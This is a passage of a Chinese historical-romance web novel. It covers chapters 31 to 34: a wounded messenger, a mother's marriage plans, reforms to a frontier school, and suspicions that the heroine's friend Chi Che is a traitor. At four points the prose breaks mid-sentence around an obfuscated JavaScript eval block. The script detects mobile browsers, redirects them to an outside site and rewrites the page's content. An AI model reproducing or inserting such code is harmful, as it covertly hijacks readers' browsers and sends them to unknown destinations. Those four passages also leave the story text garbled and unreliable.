乔怀潇为自己刚刚心中的晦暗感到惭愧,脸色一红,挥挥手走进去,“还好我带了剑去,波利人骑马作战的优势在于居高临下先发制人,但是若是近战,马腿终究无法防护,要先斩马腿后斩人,我想用刀或斧效果会更好,远战就可用剑用弩。” 乔怀潇看着迟彻认真听她所说,心中阴霾散去,甚至十分大度的提到了谢昱行,“不过也说不上是我击退的他们,后面是谢昱行带兵赶到了。” 31. 赘婿 “那还真是巧。”迟彻说道。 陈所得一直站在一旁,开口道:“我们快去看罗大哥吧,我看到小帮主的信号后带人追出城门,就看到陈阳送他回来了,当时情况紧急我都没来得及多问。” 迟彻神色并不轻松,“走吧,我把他安置在了侧院。” 迟彻带着他们朝侧院走去。雁馆很大,但只住了迟彻、陈所得和几位雁帮心腹,因此除了正面的雁归馆人员多了些外,各处侧院就静得多了。 乔怀潇一走进罗树所在的院子,就能很明显的闻到空气中飘散着的药材的气息。 照顾罗树的小厮迎了上来,“帮主,小帮主,郎中正在问诊。” 乔怀潇探头朝里面看了一眼,屋内的屏风后,隐约可见郎中的影子。 “罗树伤势太重还在昏迷,郎中替他包扎治疗,一时半刻是好不了的,今天天色已经晚了,不如你明天再来。”迟彻说道,“我知道你想问他静安的事情,等他醒了,我第一个通知你。” 屋内传来罗树因痛发出的无意识的呻吟,乔怀潇眉头紧皱,她的确有很多很关键的问题想问他,但现在不是时候,她看向迟彻,郑重道:“等他伤情稳定了再说,这几天麻烦你费心些,郎中就在雁馆住下照顾他吧。” “你我之间怎么能说是麻烦。”迟彻笑笑,“你放心吧。” 陈所得自告奋勇道:“小帮主,你放心,还有我呢。” 乔怀潇看了一眼屋内,郎中还在忙着,她同迟彻和陈所得告别,转身朝外走去。 天色半明半暗的时候,乔怀潇回到了乔宅。 她没有从正门进去,而是翻墙而入,她左右看看无人发现,拍拍身上尘土后站起来,回自己的院子里。 院中寂静非常,连个侍从也没有,乔怀潇推开房门,却见门后烛光明亮,陶蔓就坐在当中的椅子上。 乔怀潇还记得白天陶蔓的话,干巴巴冒出一句:“娘,你怎么来了?” 陶蔓不说话,朝后摆摆手,乔怀潇这才看见她身后站了一排捧着托盘的侍女。 侍女走过来拉住她的手牵到屏风后面,伸手就要扒下她身上的衣服,乔怀潇吓了一跳,“你们做什么?” 陶蔓站在屏风的另一边,对她说:“看看你穿的什么衣服,都换了。” 乔怀潇推开侍女的手跑出去,霎时被梳妆台上都一片金光闪闪给亮瞎了眼。 陶蔓将她摁坐在梳妆台前,拿起一只攒金牡丹钗在她头上比划,“怎么样,喜欢吗?” 乔怀潇看着镜子里的自己,视线移到被陶蔓簪在自己发髻上的金簪,面露不虞,“娘,你这是什么意思?” “要你打扮打扮的意思,你如今二十有一了,你想想与你同岁的姑娘都已成人妇,你还想厮混到何时?”陶蔓说道,“就是那静安,也早早嫁与波利王子,孩子都不知道生了几个了。” 提到静安,乔怀潇霎时就冷了脸。 “好好好,我不说了。”陶蔓将一卷画卷在她面前展开,指着画上的人物问道,“你看这个怎么样,祖上是抚州人士,和我陶氏交情十分深厚,这个也不错,样貌看着十分端正,如今他就在长平呢,明天可以见见。” 乔怀潇眉间闪过轻微的诧色,但很快收敛住了,她将手肘撑在桌上,斜眼看向画卷:“我看都不行,家世倒是不要紧,寻个清白人家就足以,但最主要的是样貌要好,性情更要和顺,日后在家相妻教女才好。” 陶蔓被她说得一懵,“你这是什么标准?” 乔怀潇一笑,“自然是赘婿的标准啊。” 这下陶蔓的表情却不在乔怀潇的意料之中,她施施然点头道:“确实,照你这么说,我想到一个绝佳的人选。” 陶蔓煞有其事道:“迟彻,你觉得怎么样?我和你父亲只有你一个,确实是舍不得把你嫁出去的,而他家既无父母又无兄弟,你们又知根知底,还能互相帮衬,他来入赘岂不是正好?” 乔怀潇惊得一下跳起来,“娘,你胡说什么!我刚刚是瞎说的,什么入赘什么成亲我都没有心思,你可别回头在外人面前胡言乱语。” 陶蔓笑起来,拉住她的手,“你看看你,还害羞了。” 乔怀潇一口气堵在胸口不上不下,陶蔓看她这样子,“那你就答应我,以后别再冒险了,雁帮的事情也不是都要你亲力亲为的,就在家喝喝茶赏赏花,家里的钱够你八辈子都花不完的。” 这哪是钱不钱的事,就是爹致仕之后不也愿意当个教书先生吗?乔怀潇张了张嘴,没有说出来,她看着陶蔓殷切的眼神,好半天,“嗯”了一声。 陶蔓从善如流的卷起画卷,让侍女放下绫罗绸缎珠钗宝石,离开前说道:“这就对了嘛,你又不是男孩,我们乔家不指着你建功立业,只要你平平安安。” 烛光下,金簪熠熠生辉,乔怀潇拿下头上的簪子,摩挲着上面华丽的牡丹鎏金刻纹,脑中不断回想着陶蔓的劝诫。 一整晚,乔怀潇都没想出个所以然来,天一亮,她干脆又从乔宅翻了出来,走到路口街道上吃早饭去了。 “吴伯,来份面饼加羊肉汤。”她在街边的摊子上坐下,目光瞥见一波朝府衙走去的人。 “乔姑娘,汤好了。”摊主端上来一碟面饼和一碗汤放在乔怀潇面前的桌上。 “哦,好。”乔怀潇低下头喝汤吃饼,再抬头,见到谢昱行从她家门出来。 乔怀潇歪了歪头,谢昱行已经看见了她,走了过来,“这家的汤饼好吃吗?” “挺好的,你尝尝。”乔怀潇擦了擦嘴,站起来,作势要走。 谢昱行没有坐下来,追上她,“你去哪儿?我送送你,今天长平不太平。” 谢昱行看见乔怀潇疑惑的眼神,解释道:“都在传波利人屠了云边村,激起了民怨,不少人去府衙要说法了。” “你要去哪儿?”谢昱行又问道。 原本听见谢昱行所说,乔怀潇想去府衙看看,又记起昨晚陶蔓的话,还是作罢,她想了想才说:“我要去雁馆,我先前派去波利的人昨天重伤昏迷在云连山附近,我去看看他。” “波利……”谢昱行十分自然道,“他或许知道波利如今的状况,方便我和你一起去看看吗?” 乔怀潇看他一眼,点头,“方便。” 两人走去雁馆,路上谢昱行十分自然的和她说起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283756|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话来:“今早我去拜会夫子,没想到夫子和从前别无二致,还是一样不拘世俗。” “哦,你是说他那光头啊。”乔怀潇回道,显得有些漫不经心。 和谢昱行一道走在长平的街头,让乔怀潇有些恍惚而难以言喻的感觉,明明不久前她们分别时还闹得那样不愉快呢。 但云连村的血腥将那些都冲淡了,在生死面前那些对不上频的心思纠葛显得没有份量起来,而现在,乔怀潇扭头,目光从谢昱行的鼻尖平移到下颌线,将他的侧脸收入眼底。 那天的一巴掌实在是毫无理由的迁怒,她抿了抿唇,终于知道现在自己的无所适从是什么了。 她不尴不尬的开口,“昨天我……” 雁馆的门在此时打开,陈所得叫起来,“小帮主,你来啦,谢大人你是?” 乔怀潇咳了一声,“我们来找罗树,他的伤情稳定了吗?” “昨晚还好,今天一大早伤口又流血了。”陈所得让开路来,“帮主早早就赶过去了。” 乔怀潇蹙起眉头,加快脚步,走到罗树的院子,一进去,果然看见了迟彻。 迟彻的目光在谢昱行身上稍做停顿,很快的移向乔怀潇,“罗树的伤口开裂了,郎中在给他包扎。” 乔怀潇头也不回的进了屋子,走到床边,果然看见床上的罗树,那日见过的肩头上的伤口不停流血。 郎中用绷带缠紧包扎,又给罗树灌下汤药,忙的头上大汗淋漓,他忍不住说道:“这伤也太多了,肩上有,腰上也有,还有从高处滚落下来的擦伤,昨天送来的已经算很及时了,但他这样,一时半会还是醒不了。” 那天没来得及细看,此时看去,罗树身上真是遍体鳞伤,令人不忍直视,乔怀潇脸上带着愠怒,“我是在云边村前三里地发现他的,大概率就是同一伙波利人下的手,那群杂碎,真是该死。” “原来是这样,我说他怎么会伤的这么重,这是下了死手。”迟彻绷紧了脸,“听说波利骑兵的尸体还在府衙,我看就该把那尸首挂在城门示众,才能平民愤。” 谢昱行目光微闪,看向迟彻,他的脸上带着愤恨,但这愤恨和乔怀潇的似乎又不太一样,他正想着,猝不及防对上迟彻的视线。 “谢大人,你来长平可是为了出使通商?我看此次通商是绝无可能了,更不能轻易放过那群波利人,不然我们大庆此后威严何在,怎么能震慑住西边众邦,你说是不是?” “两邦之交,审慎为重,陛下自有圣裁。”谢昱行笑笑,“我谢某虽为出使通商,但大庆国威不可侵犯,百姓安危不可置之不顾,我已上书陛下,使队依旧,但不为通商,而必定为枉死的百姓夺一个公道。” 谢昱行的声音掷地有声,乔怀潇愣了愣,随即,隔着一道墙的外面街道传来一阵阵吵闹声。 乔怀潇听见了熟悉的声音,眉头一凛,“我出去看看。” 谢昱行追着她而去。 迟彻看着她们的背影,床上的罗树嗫喏出声,他回过神来,弯下腰去,“你说什么?” 罗树睁不开眼,只觉得置身在一片向下陷落的沼泽地里,他无意识喊到:“娘,救我。” 32. 诚义堂 雁馆旁就是一条商贸繁华的街道,此时街道中段的树荫底下围满了人,有人高声叫嚷起来,“你推什么推,人小孩先占的这个摊位,都被你推倒了!” “就是,外邦人没一个好的,你们不准在这儿摆摊,走,都走!” 这番话引得人群中不少人附和,“你们走,不准你们来我们这做生意。” 头戴纱帽的陵阳人喘着粗气,瞪着他们,骂骂咧咧的卷起地上的货物离开了。 乔怀潇在此时赶到,她拨开人群,看见了跌倒在地上的王羌三人。 王羌三人面前摆着一个小摊,但上面摆着的各类瓜果都歪歪扭扭的倒着,包福最先爬起来,接着把王羌和齐保扶起来。 “你们怎么在这儿?”乔怀潇出声道。 王羌这才看见乔怀潇,低低的喊了一声“乔姑娘”,动作很快的收起了摊子上的瓜果。 “诶,现在还没到下学的时候,你们……”乔怀潇张嘴,却只见三人低眉顺眼的跑走了。 谢昱行认出那几个孩子,“今早我拜访先生,问到了他们,才知道昨日在学堂里,先生已经把他们劝退了。” “难怪,我说昨日逃学受到那么大惊吓,今天怎么会又不去学堂。”乔怀潇看着他们的背影,“也罢,若是昨日什么惩罚也没有,反倒纵得他们不知天高地厚起来。” “先生如今就在学堂里授课?”谢昱行开口问道。 乔怀潇看向他,“你这是什么表情,是他致仕之后不想闲着,就去当个教书先生罢了。” “先生是何等大才,屈尊教授他们学业,他们还时不时逃学,毫无尊师重道之心。”谢昱行对王羌三人并没有什么好印象。 乔怀潇垂眸,这话倒也没说错,但见谢昱行较真的样子,她的眉间不禁倾泻出点点笑意。 谢昱行突然感到肩上受到一点力,他侧目,看见乔怀潇的葱段般的指尖从他身上移向半空,虚空指向这条街市。 “你看见了什么?” “吵闹。”谢昱行脱口而出,又吞了吞口水,换了个词,“热闹,这很热闹,卖什么的都有。” 乔怀潇没有察觉谢昱行骤然紧绷起来的身体,她说道:“长平有的是各色疆域的人,马,野珍奇宝,百姓是靠着各类贸易才把日子过好的,长平地处边疆,不兴文而重武,和京师是截然不同的。” 谢昱行顿了顿,很快听明白了乔怀潇的言外之意,“京师富硕,又是都城,就是寻常百姓都十分注重进学,为的就是争得功名光耀门楣,而长平百姓将孩子送去学堂读书,得到的回报不高。” 这也正是乔怀潇想说的,她点点头,脑中却突然闪过一个念头,猛一拍掌,“我知道了!我知道要怎么改变学堂了。” 她风风火火的就要出发,谢昱行反应过来,“你是要去学堂?我和你一起去看看?” 乔怀潇要拒绝,却见谢昱行无意识摸了摸脸,她一顿,“啊,行,走吧。” 谢昱行又跟着乔怀潇朝诚义堂去了,他回头看了一眼来时的方向,乔宅,雁馆,这种追随乔怀潇去了解那些他错过的过往,让谢昱行心中隐隐的不安被覆盖,因此等他走进诚义堂,心情颇有焕然一新的变化。 乔怀潇叫来管事的谈话,也没有避开他,谢昱行听见了乔怀潇所说:“王直学,我想再开设一个学堂,教授术学、骑马等一些更为实用的技能。” 王直学面露犹疑,“这会不会太冒险?毕竟从来没有学堂是这么个办法。” “我也是忽有所感,圣贤书不可不读,但对于长平而言,生存才是第一要义。”乔怀潇面容沉静而理智,字字句句慷锵有力,让人油然而生对她的信任,她娓娓道来,“仔细想想,王羌他们会逃学,是因为他们觉得学堂所教无用,万事万物都逃不过‘因地制宜’四字,要想诚义堂发挥价值,教民以猎,教民以渔,教民以耕,如今,正是教民以商的时机。” 乔怀潇就站在菱花窗旁,午间的阳光洒落在她的身上,印射出十分美好的轮廓,耳边还有学子们远远传来的朗朗读书声,让谢昱行有那么一刻,恍若时间回溯到了曾经在国子监的时候。 那是一段十分快乐的时光,于是他的目光一刻不眨的落在乔怀潇身上,想找寻更多过去的影子,但谢昱行渐渐在她的身上看见了波涛过后的平静,不是经过磨难后变得冷漠的平静,而是越发温和包容的平静,这让谢昱行蓦然回神,他想起了乔怀潇曾经宣之于口的抱负。 谢昱行说道:“我想,也可以借此开办女子学堂,虽然现在女子还无法科考……但是除去读书写字,女子学堂可以开设多种课程,至少让她们日后能有一技之长。” 谢昱行说出这番话,和乔怀潇藏在心底的想法不谋而合,她有些意外的看向谢昱行。 他牵起嘴角,一抹清浅的笑意跃于脸上,十分自然的将讨论的主场还给她们,“你们聊,我在学堂逛一逛。” “您随意。”王直学察觉出谢昱行身份的不同凡响,谦然道。 乔怀潇垂下眼眸,继续和直学敲定个中细节,谢昱行脚步一转,出了屋子,他现在开始对诚义堂有了兴趣。 诚义堂是很明显的长平建筑风格,谢昱行看见了后方一幢灰白的建筑,但还没走出两步,就有个半大的孩子追了上来,“大哥哥,坏人用波利语怎么说?” 谢昱行愣了一瞬,他还没说话,一个瘦瘦的小孩跑过来,拉拉问话人的袖子,说道:“你问错人了,他不是上次乔姑娘身边的那个哥哥。” 小学子睁着大眼睛,点点头,“哦,原来不是上次那个哥哥。” 谢昱行抿唇:“上次乔姑娘身边的人是谁?” 小孩子还不会看脸色,十分自豪的大喊起来;“我知道,就是雁帮的那个帮主啊,他可厉害了,会说波利语呢!” 谢昱行“哦”了一声,“厉害啊,会说波利啊。” 乔怀潇正和直学谈完走出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313338|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只看得见谢昱行的背影,他身边围着的几个孩子的笑脸倒是看得一清二楚,她走过去,顺嘴问道:“谈什么呢,这么开心。” 谢昱行没说话,个子瘦小的那个小孩察觉到有些不对,朝乔怀潇笑笑,扯着几人的袖子飞快的跑走了。 乔怀潇总觉得那个小孩的笑里有几分心虚,有些莫名其妙看向谢昱行,“他们围着你说什么呢?” “你还带别人来过诚义堂?” 乔怀潇没将重点放在别人二字上,倒是觉得他问得有些奇怪,“诚义堂又不是我家私院,当然好多人来过,陈所得,迟彻……” “那幢房子是做什么的?”谢昱行打断了她的话,指指灰白的那幢灰白建筑。 乔怀潇愣了愣,顺着方向看去,“那个啊,那是学舍,不过现在诚义堂学生不多,学舍还没有开放,现在只有罗大娘住在那儿。那天在诚义堂她见到王羌他们有些惊惧过度,郎中说屠村她见过的人近几日最好都不要出现在她面前,也不要轻易挪动,我就把她安置在那儿修养了。” 谢昱行点点头,没有再说话了,却突然听乔怀潇说道:“对不起。” 他几乎在乔怀潇说完的下一秒就说道:“这有什么好说对不起的,我刚刚就是随口……” 乔怀潇说:“那天不该迁怒你,我是被那群骑兵给气上了头,你可以打回来。” 谢昱行愣了愣才反应过来,“那一巴掌有什么好说对不起的,我没有放在心上,你倒也没说错,要是我早点带兵赶到,说不定云边村就不会如此惨重,也不会让那些人给跑了。” “我想你也不会执着在那一掌上,但终究是我冲动了,我该向你致歉。”乔怀潇说完,眉峰一动,“只是我没想到,你其实和我一样,同样是知之不可为而为之。” “你今天也看到了百姓们对波利的敌意,何况天子?若是此事无法善了,挑起了战端,出使在外可是万分凶险,你还要出使吗?” 学子们的读书声不知何时停了,四周静谧极了,谢昱行脸上所有的情绪在一瞬间都被收了起来,这毫无疑问的显露出一种端正肃穆的决心,但与之相反的,他的声音很轻,在周遭沙沙的树叶声中,如羽毛般坠落,“不劳征发定三边,总好过天子一怒流血千里。” 乔怀潇在心里咀嚼着这句话,不劳征发定三边,好一个不牢征发定三边,她抬起眼睛,灿灿的瞳孔仿佛水润过一般,她只说:“你出发前一定要告诉我,我来为你践行。” 谢昱行微微扬起下巴,唇边漾起一抹笑,应道:“好。” 书礼的声音打破了这份宁静,他追了过来,附身在谢昱行耳边说了什么,两人的眉头都拧成了一团。 “你去办正事吧。”乔怀潇说道。 她看着谢昱行的身影渐渐远去,目光不可避免的捕捉到了那幢灰白色的建筑,乔怀潇又想起一件事,扭头朝王学直招手示意,“王学直,我有一件事要交代你去云边村办。” 33. 云边村 风轻云舒,吴波坐在灶台前都不觉得热,但他还是将钳子伸到灶膛里掏了掏,夹出一块木块扑灭了扔到一旁。 灶中的火小了些,锅中的汤从大咕噜气泡变成小咕噜,慢慢的煨着。 “来份汤饼。” 吴伯连忙站起来,抄起碗勺忙活起来。 不一会儿,盛满牛肉汤的碗被放在了王学直的桌上。 王学直端起碗来喝汤,一碗汤下肚,浑身都抖擞起来,赞道:“吴伯,你这汤,真是鲜哪。” “那就好,说明我这人老了,手艺还没忘,”吴伯嘿嘿笑起来,“学直可是很久没来喝了。” “家里夫人管得紧,今天是要早早出门,来不及吃她做的了。”王学直摸摸肚皮。 吴伯看见不远处车夫套好的马车,问了一嘴,“学直这是要往哪儿去?” 王滨顿了顿,摆手走了,“出门赏景。”扯个幌子吧,否则他说是去云边村,怕是要把人给吓着。 王滨又回头看了一眼铺子,里面再没别的客人了,心中不禁叹气,如此鲜嫩的牛肉汤除了他竟然无人捧场,真真是酒香巷深。 王滨怀着抱憾的心情坐上马车,到了城门,士兵拦住马车,“去哪儿?” 这下只能如实以告了,王滨掀开车帘,答道:“去云边村。” 四周霎时变得静悄悄的,所有目光齐刷刷的投来,王滨顺着视线看去,发现不少外邦人被拦在城门外。 原来吴伯的摊子生意寥寥不是因为酒香巷深,而是街市上的人少了不少,都被拦在这儿呢。 士兵挥挥手放行,王滨在外邦人的注视下从城里出来。 马车滚滚向前,同士兵擦肩而过,城门重新吵闹起来,王滨很清楚的听见士兵喊道:“不准进,上头有令,即日起外邦人不得再入城!” 还有外邦人用语调奇怪的大庆官话争辩道:“凭什么突然不让进,我是要进去做生意的,又不做非法的勾当,我不是波利人,你们怎么能……” 车夫坐在车头,嘀咕着,“老爷,这两天闹得可凶了,不少人,甚至不少商人都联名要把外邦人赶出长平,府衙今天就下出令来,不准外邦人再入长平了,这也太武断了。” 王滨沉默了,出了城的一路上他都不再说话了。 路两旁的树林郁郁葱葱,从树叶缝隙中落下的阳光在车顶篷布上跳跃,车轮压过路面,发出细微的声响。 过了一会儿,平整的泥土路变成了石子路,车轮发出的声音大起来。 而绿色树林不再显眼,随处可见的白色取而代之。 马车驶到了云边村,王滨走了下来。 乔怀潇安排好了,因此驻守在云边村的士兵核对好身份后就给王滨放行了,王滨也终于这些白看了个清楚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340933|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>篱笆栅栏上挂着白灯笼,房梁上挂着白布,还有披麻戴孝的白衣人儿。 一个服丧的男人走了过来,“先生是?” 王滨拱了拱手,“我是长平诚义堂的学直,今天受乔姑娘吩咐来送奠仪。” 听见乔怀潇的名头,男人原本枯槁的眼睛亮了亮,“乔姑娘那日出手相救,我们还没来得及前去道谢,倒劳得她还记挂着我们,先生这边请。” 王滨和车夫跟着男人走到灵堂,灵堂是用竹竿支起来的白布棚充当,里面的灵柩一字排开,黑压压的。 王滨点了香插上,又将带来的纸镪、挽联等奠仪奉上,才问道:“请问王家妇在哪儿?乔姑娘有东西交代我给她。” 男人立即说道:“在那边,我带你们过去。” 村中荒凉,看着前面男人一瘸一拐的脚步,王滨侧过头,抹了一把眼睛,手上湿漉漉的。 他从怀中取出乔怀潇交代给他的装满了银钱的荷包,悄悄放在灵堂桌前,方才抬起脚步,跟上男人的步伐。 车夫同样抬起衣袖抹过眼睛,小声在王滨耳边说道:“老爷,波利人真是该死,以后我见一个打一个!” 男人很快在一间草房前停下来,回过头来,“先生,就是这儿了。” 王滨立刻收起脸上的怜意,“好,好,多谢了。” 一个抱着孩子的女人走了出来。 34. 雪莲 此时的谢昱行对罗大娘和罗树的母子关系尚且毫无所知,但他坐在使馆内,心中的不安渐渐指向一个人。 书礼给谢昱行斟上一杯茶,却是在心惊昨晚的事情,“没想到大人昨天和乔姑娘在诚文堂的时候,赵总督就到了长平,今天就不再让外邦人入城了,我总觉得是长平是要有大动作了。” 谢昱行眸中同样担忧之色浓重,“听闻赵鹏毅驻守边关长平,昌荫,甸州三城,一向是铁血手腕,但大庆和波利牵扯深远,更有静安和亲之交,此次云边村出事,也不知道他会如何处理。” 他话音刚落,使馆外就传来一阵喧嚷之声,人未到声先至,“逸国公,少年英才,久仰大名啊。” 一挺肩阔背的男人走进来,身后跟着呼啦啦的一帮人,他在使馆内站定,眼珠从左转到右,环视一圈,笑道:“逸国公,住在这使馆,委屈你了。” 谢昱行正要开口,赵鹏毅又截了他的话,“想必逸国公也知道,出使之事恐难成行了,左右使队还未添置妥当,不如让官兵护送您回定南,省得在此处耽搁了。” “我知晓总督一片好心,但出使之事是陛下亲自过问的,若是就此回去我岂不是抗旨?”谢昱行站起来请赵鹏毅坐下,轻轻一笑,“况且,在长平又怎么能说得上耽搁,只等陛下旨意,何时让我启程我就启程,何时让我归朝我便归朝。” 赵鹏毅没有要坐下的意思,双手负在身后,只说:“国公不曾带兵,自然不知道,兵家有言:将在外君命有所不受,你若再耽搁,便不是想走就能走得了的。” 谢昱行神色一动,很快又恢复平静,“哦?我才疏学浅,只看过《孙子兵法》,里面提到静观其变罢了。” “你……”赵鹏毅冷哼了一声,“都说你好管闲事,今天一看还真是,让你走你不走,到时候别怪我没提醒你。” 谢昱行依旧是笑,“你怎么看我,天下人怎么看我,我都不在乎,但是赵总督,你这话里话外奇怪的很,长平城门俱在,怎么就走不了了,你莫不是想……” “老子就是要打!我就直接告诉你了,波利人都冲进家门了,就是要揪住狠狠打一顿才老实,你也真是奇怪,看你说的不想回去,按理说是不怕死啊,这时候又怂了?”赵鹏毅拍桌。 桌子微晃,茶盏中的茶水溅出落在桌上,谢昱行语气也强硬起来,“那敢问总督,静安公主尚在波利,你若执意出击,置她于何地?” “他们屠村时都不在乎姻亲之谊,大庆做什么要在乎,世事难全生死有命……”赵鹏毅抿唇,“静安公主若是有所不测,大庆自会铭记,待攻下波利,为她竖碑颂德,万世铭记自然是有的。” 谢昱行深吸一口气,缓了缓才说:“此举太过冒失,总督不如想想,云连山地势复杂,那些波利人是如何翻过山来的,又是如何找到云边村的,若说没人带路,我是不信的。” “这还用你说?我已派人循迹去追波利余党,路上已经抓了一伙可疑之人。”赵鹏毅一愣,很快反应过来,沉吟片刻,“你说这话,你有眉目了?对了,那天你正好在,你瞧见什么不妥之处了?” 谢昱行见赵鹏毅总算冷静了下来,慢慢分析道:“那天在云边村不远处有一人重伤,说不定他知道些什么。” “那还不去拿人。”赵鹏毅说完又立刻摇头,“不行,若是真有波利奸细在城内,大张旗鼓的拿人反倒引得他们心虚暗中下手。” 谢昱行眺望向窗外,“这件事交给我吧。” …… 栽种在乔宅院中的桂花树格外的高大,虬枝盘曲,风吹来,一片衣角垂下,随风而动。 乔怀潇躺在枝干上,拎起落下的衣角压在身下,细细碎碎的阳光从树叶缝隙中穿过,照在她的脸上,乔怀潇伸手挡在眼前,敏锐的听到下方传来陶蔓的声音。 “你是怎么看得人,一问三不知,小姐去哪儿了都不知道?” 侍从低垂着眼回话,“昨日小姐一直都在房中,只有王学直来过一趟,我,我去城门口问过了,小姐没有出城的。” 李妈妈扶着陶蔓在树下石凳上坐下,“夫人别着急,只要没出城就好,说不定小姐只是和前天一样,去雁馆或是去了诚义堂,过会儿就回来了。” “那就差人去这两个地方看看,这些天长平不太平,我就是怕她不知天高地厚,真出了事就晚了。”陶蔓叹了口气。 乔怀潇躺在树上,看着遮蔽天日的树荫,同样无声叹的了声气。 点点金桂碎花砸落眉间,乔怀潇一时有些受不了这过于馥郁的香气了,就在这时,一道宛如轻泉的声音响起,“师母,学生又来叨扰了。” 乔怀潇一下子就撑起身子,扭头朝下方看去,谢昱行的身影撞入眼帘。 他头戴玉冠,着一身淡蓝色的衣裳,唇间泄露一丝淡淡的笑意,“师母,我找怀潇有事,她可在家?” “我也正找她呢,这孩子一早就不见踪影了。”陶蔓看一眼谢昱行,有些警惕之色,“逸国公找她所为何事?若是有关于云边村的事情,她恐怕也所知不详,逸国公不如去问问那日同行的其他人。” “不妨,我许久没有没和师母聊天了,可不要嫌弃我才是。”谢昱行在石凳上坐下,殷切道,“我记得师母早些年有咳疾,如今可好些了?” “李妈妈,看茶。”陶蔓神色缓和了些,“说起这个,都是潇儿的功劳,三年前她听说玉尧雪山上有能治我咳疾的雪莲,执意上山采摘,中途还遇上了雪崩,我都要急死了,派了大批人进山去找,找到她的时候,她的手都长满了冻疮,可偏偏雪莲还在她的手上完好无缺。” “我的咳疾确实是被治好了,但如果有重来的机会,我宁愿不要她以身犯险。”陶蔓抬眼望着无边无际的天空,“因此我十分珍惜如今这样平淡的日子,你可明白?” 以乔怀潇的角度看去,能清楚的看见陶蔓藏在脑后的白发,与此同时,谢昱行开口道:“那在雪山上,是迟彻救了她?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478385|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,多亏了迟彻,及时把她从雪堆里拉了出来,否则后果不堪设想。”陶蔓的神色柔和下来,“迟彻这个孩子命苦,年幼丧父丧母,就在玉尧雪山附近打猎为生,但他不仅会驯马驯鸟,脑子也聪明,如今也算是苦尽甘来。” “他既然是孤儿,如何学会的驯马呢?” 陶蔓看向他,笑笑,“从前在国子监时潇儿与你打打闹闹,你这是吃迟彻的醋了?我说你今日怎么有空来陪我说话,敢情你是来打探消息来的……” 陶蔓话音未落,树上就传来一阵声响,乔怀潇一跃而下,掉落在她身上金桂也随之落下,成了茶水上漂浮着的点点金色。 陶蔓顿时又气又笑,“你这丫头,就一直在这树上看着我到处找你?” “在房里闷得慌,出来走走。”乔怀潇朝陶蔓笑笑,又转而看向谢昱行,脸上的笑意消失不见。 陶蔓的视线在他们两个之间穿梭,“刚刚的话你都听见了。 谢昱行的耳朵瞬间红了起来,他开口解释道:“我是来……” 乔怀潇的面容平稳无波,“我知道你是来做什么的。” 一旁的侍从早在给谢昱行斟茶后就退下了,微风袭来,甜腻的桂花香不曾停歇,谢昱行脸上的血色却在听清乔怀潇的话后消失殆尽。 “你怀疑他是不是?但是我可以清楚的告诉你,迟彻是我的挚友,我很了解他,不管你怀疑他什么,他都绝不可能做出伤害大庆子民的事情。” 谢昱行不禁低头,看着漂浮在茶水上浮动的桂花,苦笑,“你可知道,我派去云边村的人善后的人来回话,说罗树就是罗大娘的儿子。” “这又如何?” “那我问你,昨天你是不是派王学直去云边村,带回来了村民给罗大娘的包袱。” 乔怀潇点头,“确有其事。” “但那包袱里有一檀木珠串不见了踪影,我在来之前已经去过学堂了,罗大娘并没有收到珠串,而王学直说包袱除了他,只经过迟彻的手。” 乔怀潇脸色有所变化,谢昱行继续道:“堂堂雁帮帮主,难道还会贪留那一串手串吗?只有一种可能,他暗中留下罗大娘的珠串另有他用。” “若要我说,他一定是用那珠串威胁了罗树,至于威胁罗树做什么,一定是因为那日屠村罗树看见了一些不该看见的东西。” “如你所说,迟彻岂非是那通敌叛国之人了?”陶蔓皱眉,“这其中一定有所误会,此等大事,莫要妄下定论,不如把迟彻叫来,你们当面分说清楚。” “不用把迟彻叫来。”乔怀潇瞪向谢昱行,眼中已经有了恼意,“谢大人你只凭推理就想给人扣这么大一顶罪名吗?未免太荒唐可笑了。” 